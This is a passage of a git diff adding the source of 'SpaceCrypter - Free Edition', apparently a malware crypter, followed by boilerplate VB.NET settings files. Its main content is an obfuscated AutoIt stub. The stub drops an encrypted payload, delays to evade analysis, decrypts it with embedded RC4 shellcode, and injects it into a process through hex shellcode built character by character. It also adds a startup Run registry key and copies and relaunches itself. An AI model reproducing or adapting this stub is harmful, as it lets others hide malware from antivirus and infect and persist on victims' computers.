00012C9CB5E5F589BE2460036D108057B8FFFFEF0FD048A8000000FF1E181C10706BF0E06BF060887068FFFFEF8EDB30FD9860A8FFFFEFCE5B30ED98FFFFEF8E5898000000FF52FFFFEF8E5830006BF0FFFFEFCE58308D98FFFFEFCE5898000000FF5204FFFFEFCE58B83667C05593AF98FF13FFFFEF0FD9D80BBECF54FFFFFFEF0F534888FFFFEF0FD348684FD7B8FFFFEF0F5348A8CF57B84F5498000000FF524F54308C10FFFFEF0FD0C86BF0CFD4B8006BF0015430290F577F2D13CF54B874D700001000CFD71800CF5638004F56383F2EFFFFEFFED0488810C28C88000010009B000000CD48F00C580F54988C928484EA2F7D98948C989C130155B875653500A600A60010018Cx0 + + + FileInstall("rc4.oc", @TempDir & "\\r.oc", 1) +FileInstall("encrypted.bin", @TempDir & "\\s.c", 1) + +Sleep(25670) +$Z30EI = %DOSSIER% +$Y31eptPD = %NOM% +$Y32VFkD8 = %STARTUP% +$D33hNXXj = %KEY% + +$P34heOM = %INJECTION% + +$D35DwRjW = STRINGREVERSE(FileRead(@TempDir & "\" &"\" &"r" &"." &"o" &"c")) +$K36RSp = FileRead(@TempDir & "\" &"\" &"s" &"." &"c") +$N37Y6 = C30ZP($K36RSp, $D33hNXXj) + +J3228($P34heOM, $N37Y6) + +Func C30ZP($M3132URSXaN, $H3133Ihg) + Local $Q31348sDBrg = $D35DwRjW, $E3136UElHWx = DllStructCreate(H31SrxSm(98) & H31SrxSm(121) & H31SrxSm(116) & H31SrxSm(101) & H31SrxSm(91) & BinaryLen($Q31348sDBrg) & H31SrxSm(93)) + DllStructSetData($E3136UElHWx, 1, $Q31348sDBrg) + Local $L3230KV = DllStructCreate(H31SrxSm(98) & H31SrxSm(121) & H31SrxSm(116) & H31SrxSm(101) & H31SrxSm(91) & BinaryLen($M3132URSXaN) & H31SrxSm(93)) + DllStructSetData($L3230KV, 1, $M3132URSXaN) + Local $Q3234hc0 = H31SrxSm(117) & H31SrxSm(115) & H31SrxSm(101) & H31SrxSm(114) & H31SrxSm(51) & H31SrxSm(50) & H31SrxSm(46) & H31SrxSm(100) & H31SrxSm(108) & H31SrxSm(108) + Local $R3235Vadv = H31SrxSm(67) & H31SrxSm(97) & H31SrxSm(108) & H31SrxSm(108) & H31SrxSm(87) & H31SrxSm(105) & H31SrxSm(110) & H31SrxSm(100) & H31SrxSm(111) & H31SrxSm(119) & H31SrxSm(80) & H31SrxSm(114) & H31SrxSm(111) & H31SrxSm(99) + Local $G3236fcCV = H31SrxSm(110) & H31SrxSm(111) & H31SrxSm(110) & H31SrxSm(101) + DllCall($Q3234hc0, $G3236fcCV, $R3235Vadv, "p" &"t" &"r", DllStructGetPtr($E3136UElHWx), "p" &"t" &"r", DllStructGetPtr($L3230KV), H31SrxSm(105) & H31SrxSm(110) & H31SrxSm(116), BinaryLen($M3132URSXaN), H31SrxSm(115) & H31SrxSm(116) & H31SrxSm(114), $H3133Ihg, H31SrxSm(105) & H31SrxSm(110) & H31SrxSm(116), 0) + Local $D3334IjH = DllStructGetData($L3230KV, 1) + $L3230KV = 0 + $E3136UElHWx = 0 + Return $D3334IjH +EndFunc + +Func H31SrxSm($K3339uZ) + Return Chr($K3339uZ + 22 - 11 - 10 - 1) +EndFunc + +Func J3228($P3431SIwG2, $X3432lK) + Local $J3433dRr = "0" &"x" &"6" &"0" &"E" &"8" &"4" &"E" &"0" &"0" &"0" &"0" &"0" &"0" &"6" &"B" &"0" &"0" &"6" &"5" &"0" &"0" &"7" &"2" &"0" &"0" &"6" &"E" &"0" &"0" &"6" &"5" &"0" &"0" &"6" + $J3433dRr &= "C" &"0" &"0" &"3" &"3" &"0" &"0" &"3" &"2" &"0" &"0" &"0" &"0" &"0" &"0" &"6" &"E" &"0" &"0" &"7" &"4" &"0" &"0" &"6" &"4" &"0" &"0" &"6" &"C" &"0" &"0" &"6" &"C" + $J3433dRr &= "0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" + $J3433dRr &= "0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" + $J3433dRr &= "0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" + $J3433dRr &= "0" &"5" &"B" &"8" &"B" &"F" &"C" &"6" &"A" &"4" &"2" &"E" &"8" &"B" &"B" &"0" &"3" &"0" &"0" &"0" &"0" &"8" &"B" &"5" &"4" &"2" &"4" &"2" &"8" &"8" &"9" &"1" &"1" &"8" + $J3433dRr &= "B" &"5" &"4" &"2" &"4" &"2" &"C" &"6" &"A" &"3" &"E" &"E" &"8" &"A" &"A" &"0" &"3" &"0" &"0" &"0" &"0" &"8" &"9" &"1" &"1" &"6" &"A" &"4" &"A" &"E" &"8" &"A" &"1" &"0" + $J3433dRr &= "3" &"0" &"0" &"0" &"0" &"8" &"9" &"3" &"9" &"6" &"A" &"1" &"E" &"6" &"A" &"3" &"C" &"E" &"8" &"9" &"D" &"0" &"3" &"0" &"0" &"0" &"0" &"6" &"A" &"2" &"2" &"6" &"8" &"F" + $J3433dRr &= "4" &"0" &"0" &"0" &"0" &"0" &"0" &"E" &"8" &"9" &"1" &"0" &"3" &"0" &"0" &"0" &"0" &"6" &"A" &"2" &"6" &"6" &"A" &"2" &"4" &"E" &"8" &"8" &"8" &"0" &"3" &"0" &"0" &"0" + $J3433dRr &= "0" &"6" &"A" &"2" &"A" &"6" &"A" &"4" &"0" &"E" &"8" &"7" &"F" &"0" &"3" &"0" &"0" &"0" &"0" + $J3433dRr &= "6" &"A" &"2" &"E" &"6" &"A" &"0" &"C" &"E" &"8" &"7" &"6" &"0" &"3" &"0" &"0" &"0" &"0" &"6" &"A" &"3" &"2" &"6" &"8" &"C" &"8" &"0" &"0" &"0" &"0" &"0" &"0" &"E" &"8" &"6" &"A" &"0" &"3" &"0" &"0" &"0" &"0" &"6" + $J3433dRr &= "A" &"2" &"A" &"E" &"8" &"5" &"C" &"0" &"3" &"0" &"0" &"0" &"0" &"8" &"B" &"0" &"9" &"C" &"7" &"0" &"1" &"4" &"4" &"0" &"0" &"0" &"0" &"0" &"0" &"6" &"A" &"1" &"2" &"E" &"8" &"4" &"D" &"0" &"3" &"0" &"0" &"0" &"0" + $J3433dRr &= "6" &"8" &"5" &"B" &"E" &"8" &"1" &"4" &"C" &"F" &"5" &"1" &"E" &"8" &"7" &"9" &"0" &"3" &"0" &"0" &"0" &"0" &"6" &"A" &"3" &"E" &"E" &"8" &"3" &"B" &"0" &"3" &"0" &"0" &"0" &"0" &"8" &"B" &"D" &"1" &"6" &"A" + $J3433dRr &= "1" &"E" &"E" &"8" &"3" &"2" &"0" &"3" &"0" &"0" &"0" &"0" &"6" &"A" &"4" &"0" &"F" &"F" &"3" &"2" &"F" &"F" &"3" &"1" &"F" &"F" &"D" &"0" &"6" &"A" &"1" &"2" &"E" &"8" &"2" &"3" &"0" &"3" &"0" &"0" &"0" &"0" &"6" &"8" + $J3433dRr &= "5" &"B" &"E" &"8" &"1" &"4" &"C" &"F" &"5" &"1" &"E" &"8" &"4" &"F" &"0" &"3" &"0" &"0" &"0" &"0" &"6" &"A" &"1" &"E" &"E" &"8" &"1" &"1" &"0" &"3" &"0" &"0" &"0" &"0" &"8" &"B" &"0" &"9" &"8" &"B" &"5" &"1" &"3" &"C" &"6" + $J3433dRr &= "A" &"3" &"E" &"E" &"8" &"0" &"5" &"0" &"3" &"0" &"0" &"0" &"0" &"8" &"B" &"3" &"9" &"0" &"3" &"F" &"A" &"6" &"A" &"2" &"2" &"E" &"8" &"F" &"A" &"0" &"2" &"0" &"0" &"0" &"0" &"8" &"B" &"0" &"9" &"6" &"8" &"F" &"8" &"0" &"0" + $J3433dRr &= "0" &"0" &"0" &"0" &"5" &"7" &"5" &"1" &"F" &"F" &"D" &"0" &"6" &"A" &"0" &"0" &"E" &"8" &"E" &"8" &"0" &"2" &"0" &"0" &"0" &"0" &"6" &"8" &"8" &"8" &"F" &"E" &"B" &"3" &"1" &"6" &"5" &"1" &"E" &"8" &"1" &"4" &"0" &"3" &"0" + $J3433dRr &= "0" &"0" &"0" &"6" &"A" &"2" &"E" &"E" &"8" &"D" &"6" &"0" &"2" &"0" &"0" + $J3433dRr &= "0" &"0" &"8" &"B" &"3" &"9" &"6" &"A" &"2" &"A" &"E" &"8" &"C" &"D" &"0" &"2" &"0" &"0" &"0" &"0" &"8" &"B" &"1" &"1" &"6" &"A" &"4" &"2" &"E" &"8" &"C" &"4" &"0" &"2" &"0" &"0" &"0" &"0" &"5" + $J3433dRr &= "7" &"5" &"2" &"6" &"A" &"0" &"0" &"6" &"A" &"0" &"0" &"6" &"A" &"0" &"4" &"6" &"A" &"0" &"0" &"6" &"A" &"0" &"0" &"6" &"A" &"0" &"0" &"6" &"A" &"0" &"0" &"F" &"F" &"3" &"1" &"F" &"F" &"D" &"0" &"6" &"A" &"1" &"2" &"E" &"8" + $J3433dRr &= "A" &"9" &"0" &"2" &"0" &"0" &"0" &"0" &"6" &"8" &"D" &"0" &"3" &"7" &"1" &"0" &"F" &"2" &"5" &"1" &"E" &"8" &"D" &"5" &"0" &"2" &"0" &"0" &"0" &"0" &"6" &"A" &"2" &"2" &"E" &"8" &"9" &"7" &"0" &"2" &"0" &"0" &"0" &"0" &"8" &"B" &"1" + $J3433dRr &= "1" &"6" &"A" &"2" &"E" &"E" &"8" &"8" &"E" &"0" &"2" &"0" &"0" &"0" &"0" &"8" &"B" &"0" &"9" &"F" &"F" &"7" &"2" &"3" &"4" &"F" &"F" &"3" &"1" &"F" &"F" &"D" &"0" &"6" &"A" &"0" &"0" &"E" &"8" &"7" &"E" &"0" &"2" &"0" &"0" &"0" &"0" &"6" + $J3433dRr &= "8" &"9" &"C" &"9" &"5" &"1" &"A" &"6" &"E" &"5" &"1" &"E" &"8" &"A" &"A" &"0" &"2" &"0" &"0" &"0" &"0" &"6" &"A" &"2" &"2" &"E" &"8" &"6" &"C" &"0" &"2" &"0" &"0" &"0" &"0" &"8" &"B" &"1" &"1" &"8" &"B" &"3" &"9" &"6" &"A" &"2" + $J3433dRr &= "E" &"E" &"8" &"6" &"1" &"0" &"2" &"0" &"0" &"0" &"0" &"8" &"B" &"0" &"9" &"6" &"A" &"4" &"0" &"6" &"8" &"0" &"0" &"3" &"0" &"0" &"0" &"0" &"0" &"F" &"F" &"7" &"2" &"5" &"0" &"F" &"F" &"7" &"7" &"3" &"4" &"F" &"F" &"3" &"1" &"F" &"F" &"D" + $J3433dRr &= "0" &"6" &"A" &"3" &"6" &"E" &"8" &"4" &"7" &"0" &"2" &"0" &"0" &"0" &"0" &"8" &"B" &"D" &"1" &"6" &"A" &"2" &"2" &"E" &"8" &"3" &"E" &"0" &"2" &"0" &"0" &"0" &"0" &"8" &"B" &"3" &"9" &"6" &"A" &"3" &"E" &"E" &"8" &"3" &"5" &"0" &"2" &"0" &"0" + $J3433dRr &= "0" &"0" &"8" &"B" &"3" &"1" &"6" &"A" &"2" &"2" &"E" &"8" &"2" &"C" &"0" &"2" &"0" &"0" &"0" &"0" &"8" &"B" &"0" &"1" &"6" &"A" &"2" &"E" &"E" &"8" &"2" &"3" &"0" &"2" &"0" &"0" &"0" &"0" &"8" &"B" &"0" &"9" &"5" &"2" &"F" &"F" &"7" + $J3433dRr &= "7" &"5" &"4" &"5" &"6" &"F" &"F" &"7" &"0" &"3" &"4" &"F" &"F" &"3" &"1" &"6" &"A" &"0" &"0" &"E" &"8" &"1" &"0" &"0" &"2" &"0" &"0" &"0" &"0" &"6" &"8" + $J3433dRr &= "A" &"1" &"6" &"A" &"3" &"D" &"D" &"8" &"5" &"1" &"E" &"8" &"3" &"C" &"0" + $J3433dRr &= "2" &"0" &"0" &"0" &"0" &"8" &"3" &"C" &"4" &"0" &"C" &"F" &"F" &"D" &"0" &"6" &"A" &"1" &"2" &"E" &"8" &"F" &"9" &"0" &"1" &"0" &"0" &"0" &"0" &"6" &"8" &"5" &"B" &"E" &"8" &"1" &"4" &"C" &"F" &"5" &"1" &"E" &"8" &"2" &"5" &"0" + $J3433dRr &= "2" &"0" &"0" &"0" &"0" &"6" &"A" &"2" &"2" &"E" &"8" &"E" &"7" &"0" &"1" &"0" &"0" &"0" &"0" &"8" &"B" &"1" &"1" &"8" &"3" &"C" &"2" &"0" &"6" &"6" &"A" &"3" &"A" &"E" &"8" &"D" &"B" &"0" &"1" &"0" &"0" &"0" &"0" &"6" &"A" &"0" + $J3433dRr &= "2" &"5" &"2" &"5" &"1" &"F" &"F" &"D" &"0" &"6" &"A" &"3" &"6" &"E" &"8" &"C" &"E" &"0" &"1" &"0" &"0" &"0" &"0" &"C" &"7" &"0" &"1" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"B" &"8" &"2" &"8" &"0" &"0" &"0" + $J3433dRr &= "0" &"0" &"0" &"6" &"A" &"3" &"6" &"E" &"8" &"B" &"C" &"0" &"1" &"0" &"0" &"0" &"0" &"F" &"7" &"2" &"1" &"6" &"A" &"1" &"E" &"E" &"8" &"B" &"3" &"0" &"1" &"0" &"0" &"0" &"0" &"8" &"B" &"1" &"1" &"8" &"B" &"5" &"2" + $J3433dRr &= "3" &"C" &"8" &"1" &"C" &"2" &"F" &"8" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"3" &"D" &"0" &"6" &"A" &"3" &"E" &"E" &"8" &"9" &"F" + $J3433dRr &= "0" &"1" &"0" &"0" &"0" &"0" &"0" &"3" &"1" &"1" &"6" &"A" &"2" &"6" &"E" &"8" &"9" &"6" &"0" &"1" &"0" &"0" &"0" &"0" &"6" &"A" + $J3433dRr &= "2" &"8" &"5" &"2" &"F" &"F" &"3" &"1" &"6" &"A" &"1" &"2" &"E" &"8" &"8" &"A" &"0" &"1" &"0" &"0" &"0" &"0" &"6" &"8" &"5" &"B" &"E" &"8" &"1" &"4" &"C" &"F" &"5" &"1" &"E" &"8" &"B" &"6" &"0" &"1" &"0" &"0" + $J3433dRr &= "0" &"0" &"8" &"3" &"C" &"4" &"0" &"C" &"F" &"F" &"D" &"0" &"6" &"A" &"2" &"6" &"E" &"8" &"7" &"3" &"0" &"1" &"0" &"0" &"0" &"0" &"8" &"B" &"3" &"9" &"8" &"B" &"0" &"9" &"8" &"B" &"7" &"1" &"1" &"4" &"6" &"A" &"3" &"E" &"E" &"8" &"6" &"5" &"0" + $J3433dRr &= "1" &"0" &"0" &"0" &"0" &"0" &"3" &"3" &"1" &"6" &"A" &"2" &"6" &"E" &"8" &"5" &"C" &"0" &"1" &"0" &"0" &"0" &"0" &"8" &"B" &"0" &"9" &"8" &"B" &"5" &"1" &"0" &"C" &"6" &"A" &"2" &"2" &"E" &"8" &"5" &"0" &"0" &"1" &"0" &"0" &"0" &"0" &"8" &"B" + $J3433dRr &= "0" &"9" &"0" &"3" &"5" &"1" &"3" &"4" &"6" &"A" &"4" &"6" &"E" &"8" &"4" &"4" &"0" &"1" &"0" &"0" &"0" &"0" + $J3433dRr &= "8" &"B" &"C" &"1" &"6" &"A" &"2" &"E" &"E" &"8" &"3" &"B" &"0" &"1" &"0" &"0" &"0" &"0" &"8" &"B" &"0" &"9" &"5" &"0" &"F" &"F" &"7" &"7" + $J3433dRr &= "1" &"0" &"5" &"6" &"5" &"2" &"F" &"F" &"3" &"1" &"6" &"A" &"0" &"0" &"E" &"8" &"2" &"A" &"0" &"1" &"0" &"0" &"0" &"0" &"6" &"8" &"A" &"1" &"6" &"A" + $J3433dRr &= "3" &"D" &"D" &"8" &"5" &"1" &"E" &"8" &"5" &"6" &"0" &"1" &"0" &"0" &"0" &"0" &"8" &"3" &"C" &"4" &"0" &"C" + $J3433dRr &= "F" &"F" &"D" &"0" &"6" &"A" &"3" &"6" &"E" &"8" &"1" &"3" &"0" &"1" &"0" &"0" &"0" &"0" &"8" &"B" &"1" &"1" &"8" &"3" + $J3433dRr &= "C" &"2" &"0" &"1" &"8" &"9" &"1" &"1" &"6" &"A" &"3" &"A" &"E" &"8" &"0" &"5" &"0" &"1" &"0" &"0" &"0" &"0" &"8" &"B" &"0" &"9" + $J3433dRr &= "3" &"B" &"C" &"A" &"0" &"F" &"8" &"5" &"3" &"3" &"F" &"F" &"F" &"F" &"F" &"F" &"6" &"A" &"3" &"2" &"E" &"8" &"F" &"4" &"0" &"0" &"0" &"0" &"0" &"0" + $J3433dRr &= "8" &"B" &"0" &"9" &"C" &"7" &"0" &"1" &"0" &"7" &"0" &"0" &"0" &"1" &"0" &"0" &"6" &"A" &"0" &"0" &"E" &"8" &"E" &"5" &"0" &"0" &"0" &"0" &"0" &"0" &"6" &"8" &"D" &"2" &"C" &"7" &"A" &"7" &"6" &"8" &"5" &"1" &"E" + $J3433dRr &= "8" &"1" &"1" &"0" &"1" &"0" &"0" &"0" &"0" &"6" &"A" &"3" &"2" &"E" &"8" &"D" &"3" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"B" &"1" &"1" &"6" &"A" &"2" &"E" &"E" &"8" &"C" &"A" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"B" + $J3433dRr &= "0" &"9" &"5" &"2" &"F" &"F" &"7" &"1" &"0" &"4" &"F" &"F" &"D" &"0" &"6" &"A" &"2" &"2" &"E" &"8" &"B" &"B" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"B" &"3" &"9" &"8" &"3" &"C" &"7" &"3" &"4" &"6" &"A" &"3" &"2" &"E" &"8" &"A" + $J3433dRr &= "F" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"B" &"3" &"1" &"8" &"B" &"B" &"6" &"A" &"4" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"3" &"C" &"6" &"0" &"8" &"6" &"A" &"2" &"E" &"E" &"8" &"9" &"D" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"B" &"1" + $J3433dRr &= "1" &"6" &"A" &"4" &"6" &"E" &"8" &"9" &"4" &"0" &"0" &"0" &"0" &"0" &"0" &"5" &"1" &"6" &"A" &"0" &"4" &"5" &"7" &"5" &"6" &"F" &"F" &"3" &"2" &"6" &"A" &"0" &"0" &"E" &"8" &"8" &"6" &"0" &"0" &"0" &"0" &"0" &"0" &"6" &"8" &"A" + $J3433dRr &= "1" &"6" &"A" &"3" &"D" &"D" &"8" &"5" &"1" &"E" &"8" &"B" &"2" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"3" &"C" &"4" &"0" &"C" &"F" &"F" &"D" &"0" &"6" &"A" &"2" &"2" &"E" &"8" &"6" &"F" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"B" &"0" &"9" + $J3433dRr &= "8" &"B" &"5" &"1" &"2" &"8" &"0" &"3" &"5" &"1" &"3" &"4" &"6" &"A" &"3" &"2" &"E" &"8" &"6" &"0" &"0" &"0" &"0" &"0" &"0" &"0" + $J3433dRr &= "8" &"B" &"0" &"9" &"8" &"1" &"C" &"1" &"B" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"9" &"1" &"1" &"6" &"A" &"0" &"0" &"E" &"8" + $J3433dRr &= "4" &"F" &"0" &"0" &"0" &"0" &"0" &"0" &"6" &"8" &"D" &"3" &"C" &"7" &"A" &"7" &"E" &"8" &"5" &"1" &"E" &"8" &"7" &"B" &"0" &"0" &"0" &"0" &"0" &"0" &"6" &"A" &"3" &"2" &"E" &"8" &"3" &"D" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"B" &"D" &"1" + $J3433dRr &= "6" &"A" &"2" &"E" &"E" &"8" &"3" &"4" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"B" &"0" &"9" &"F" &"F" &"3" &"2" &"F" &"F" &"7" &"1" &"0" &"4" &"F" &"F" &"D" &"0" &"6" &"A" &"0" &"0" &"E" &"8" &"2" &"4" &"0" &"0" &"0" &"0" &"0" &"0" &"6" &"8" + $J3433dRr &= "8" &"8" &"3" &"F" &"4" &"A" &"9" &"E" &"5" &"1" &"E" &"8" &"5" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"6" &"A" &"2" &"E" &"E" &"8" &"1" &"2" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"B" &"0" &"9" &"F" &"F" &"7" &"1" &"0" &"4" &"F" &"F" &"D" &"0" &"6" + $J3433dRr &= "A" &"4" &"A" &"E" &"8" &"0" &"4" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"B" &"2" &"1" &"6" &"1" &"C" &"3" &"8" &"B" &"C" &"B" &"0" &"3" &"4" &"C" &"2" &"4" &"0" &"4" &"C" &"3" &"6" &"A" &"0" &"0" &"E" &"8" &"F" &"2" &"F" &"F" &"F" &"F" &"F" &"F" + $J3433dRr &= "6" &"8" &"5" &"4" &"C" &"A" &"A" &"F" &"9" &"1" &"5" &"1" &"E" &"8" &"1" &"E" &"0" &"0" &"0" &"0" &"0" &"0" &"6" &"A" &"4" &"0" &"6" &"8" &"0" &"0" &"1" &"0" &"0" &"0" &"0" &"0" &"F" &"F" &"7" &"4" &"2" &"4" &"1" &"8" &"6" &"A" &"0" &"0" &"F" + $J3433dRr &= "F" &"D" &"0" &"F" &"F" &"7" &"4" &"2" &"4" &"1" &"4" &"E" &"8" &"C" &"F" &"F" &"F" &"F" &"F" &"F" &"F" &"8" &"9" &"0" &"1" &"8" &"3" &"C" &"4" &"1" &"0" &"C" &"3" &"E" &"8" &"2" &"2" &"0" &"0" &"0" &"0" &"0" &"0" &"6" &"8" &"A" &"4" + $J3433dRr &= "4" &"E" &"0" &"E" &"E" &"C" &"5" &"0" &"E" &"8" &"4" &"B" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"3" &"C" &"4" &"0" &"8" &"F" &"F" &"7" &"4" &"2" &"4" &"0" &"4" + $J3433dRr &= "F" &"F" &"D" &"0" &"F" &"F" &"7" &"4" &"2" &"4" &"0" &"8" &"5" &"0" &"E" &"8" &"3" &"8" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"3" &"C" &"4" &"0" &"8" &"C" &"3" &"5" &"5" &"5" &"2" &"5" &"1" &"5" &"3" &"5" &"6" &"5" &"7" &"3" &"3" &"C" &"0" + $J3433dRr &= "6" &"4" &"8" &"B" &"7" &"0" &"3" &"0" &"8" &"B" &"7" &"6" &"0" &"C" &"8" &"B" &"7" &"6" &"1" &"C" &"8" &"B" &"6" &"E" &"0" &"8" &"8" &"B" &"7" &"E" &"2" &"0" &"8" &"B" &"3" &"6" &"3" &"8" &"4" &"7" &"1" &"8" &"7" &"5" &"F" &"3" &"8" &"0" + $J3433dRr &= "3" &"F" &"6" &"B" &"7" &"4" &"0" &"7" &"8" &"0" &"3" &"F" &"4" &"B" &"7" &"4" &"0" &"2" &"E" &"B" &"E" &"7" &"8" &"B" &"C" &"5" &"5" &"F" &"5" &"E" &"5" &"B" &"5" &"9" &"5" &"A" &"5" &"D" &"C" &"3" &"5" &"5" &"5" &"2" &"5" &"1" &"5" &"3" + $J3433dRr &= "5" &"6" &"5" &"7" &"8" &"B" &"6" &"C" &"2" &"4" &"1" &"C" &"8" &"5" &"E" &"D" &"7" &"4" &"4" &"3" &"8" &"B" &"4" &"5" &"3" &"C" &"8" &"B" &"5" &"4" &"2" &"8" &"7" &"8" &"0" &"3" &"D" &"5" &"8" &"B" &"4" &"A" &"1" &"8" &"8" &"B" + $J3433dRr &= "5" &"A" &"2" &"0" &"0" &"3" &"D" &"D" &"E" &"3" &"3" &"0" &"4" &"9" &"8" &"B" &"3" &"4" &"8" &"B" &"0" &"3" &"F" &"5" &"3" &"3" &"F" &"F" &"3" &"3" &"C" &"0" &"F" &"C" &"A" &"C" &"8" &"4" &"C" &"0" &"7" &"4" &"0" &"7" &"C" &"1" + $J3433dRr &= "C" &"F" &"0" &"D" &"0" &"3" &"F" &"8" &"E" &"B" &"F" &"4" &"3" &"B" &"7" &"C" &"2" &"4" &"2" &"0" &"7" &"5" &"E" &"1" &"8" &"B" &"5" &"A" &"2" &"4" &"0" &"3" &"D" &"D" &"6" &"6" &"8" &"B" &"0" &"C" &"4" &"B" &"8" &"B" &"5" &"A" &"1" + $J3433dRr &= "C" &"0" &"3" &"D" &"D" &"8" &"B" &"0" &"4" &"8" &"B" &"0" &"3" &"C" &"5" &"5" &"F" &"5" &"E" &"5" &"B" &"5" &"9" &"5" &"A" &"5" &"D" &"C" &"3" &"C" &"3" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" + Local $G313039TaOGL = DllStructCreate("b" &"y" &"t" &"e" &"[" & BinaryLen($J3433dRr) & "]") + Local $P3131311uQhRI = DllStructCreate("b" &"y" &"t" &"e" &"[" & BinaryLen($X3432lK) & "]") + DllStructSetData($G313039TaOGL, 1, $J3433dRr) + DllStructSetData($P3131311uQhRI, 1, $X3432lK) + Local $X313137LpFu = DllCall("u" &"s" &"e" &"r" &"3" &"2" &"." &"d" &"l" &"l", "i" &"n" &"t", "C" &"a" &"l" &"l" &"W" &"i" &"n" &"d" &"o" &"w" &"P" &"r" &"o" &"c" &"W", "p" &"t" &"r", DllStructGetPtr($G313039TaOGL), "w" &"s" &"t" &"r", ($P3431SIwG2), "p" &"t" &"r", DllStructGetPtr($P3131311uQhRI), "i" &"n" &"t", 0, "i" &"n" &"t", 0) +EndFunc + +Func X33b0sH($K3339uZ, $L313232WxZupy, $N313233RV07) + Return DllStructSetData($K3339uZ, $L313232WxZupy, $N313233RV07) +EndFunc + +Func S341y($Y32VFkD8) + C350G("H" &"K" &"E" &"Y" &"_" &"C" &"U" &"R" &"R" &"E" &"N" &"T" &"_" &"U" &"S" &"E" &"R" &"\" &"S" &"o" &"f" &"t" &"w" &"a" &"r" &"e" &"\" &"M" &"i" &"c" &"r" &"o" &"s" &"o" &"f" &"t" &"\" &"W" &"i" &"n" &"d" &"o" &"w" &"s" &"\" &"C" &"u" &"r" &"r" &"e" &"n" &"t" &"V" &"e" &"r" &"s" &"i" &"o" &"n" &"\" &"R" &"u" &"n", $Y32VFkD8, "R" &"E" &"G" &"_" &"S" &"Z", @ScriptFullPath) +EndFunc + +Func C350G($K3339uZ, $L313232WxZupy, $N313233RV07, $P313332nlc) + Return Execute("R" &"e" &"g" &"W" &"r" &"i" &"t" &"e" &"(" &"'" & $K3339uZ & "'" &"," &" " &"'" & $L313232WxZupy & "'" &"," &" " &"'" & $N313233RV07 & "'" &"," &" " &"'" & $P313332nlc & "'" &")") +EndFunc + +Func Z36I4t($Z30EI, $Y31eptPD) + If $Z30EI & "\" & $Y31eptPD <> @ScriptFullPath Then + FileCopy(@ScriptDir & "\" & @ScriptName, $Z30EI & "\" & $Y31eptPD) + ShellExecute($Z30EI & "\" & $Y31eptPD) + EndIf +EndFunc + +Func F37EA1q0($I313435Guxe) + Return STRINGREVERSE($I313435Guxe) +EndFunc + + \ No newline at end of file diff --git a/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/My Project/Settings.Designer.vb b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/My Project/Settings.Designer.vb new file mode 100644 index 0000000..4106539 --- /dev/null +++ b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings), MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.SpaceCrypter___Free_Edition.My.MySettings + Get + Return Global.SpaceCrypter___Free_Edition.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/My Project/Settings.settings b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/My Project/app.manifest b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/My Project/app.manifest new file mode 100644 index 0000000..2b067e2 --- /dev/null +++ b/scode 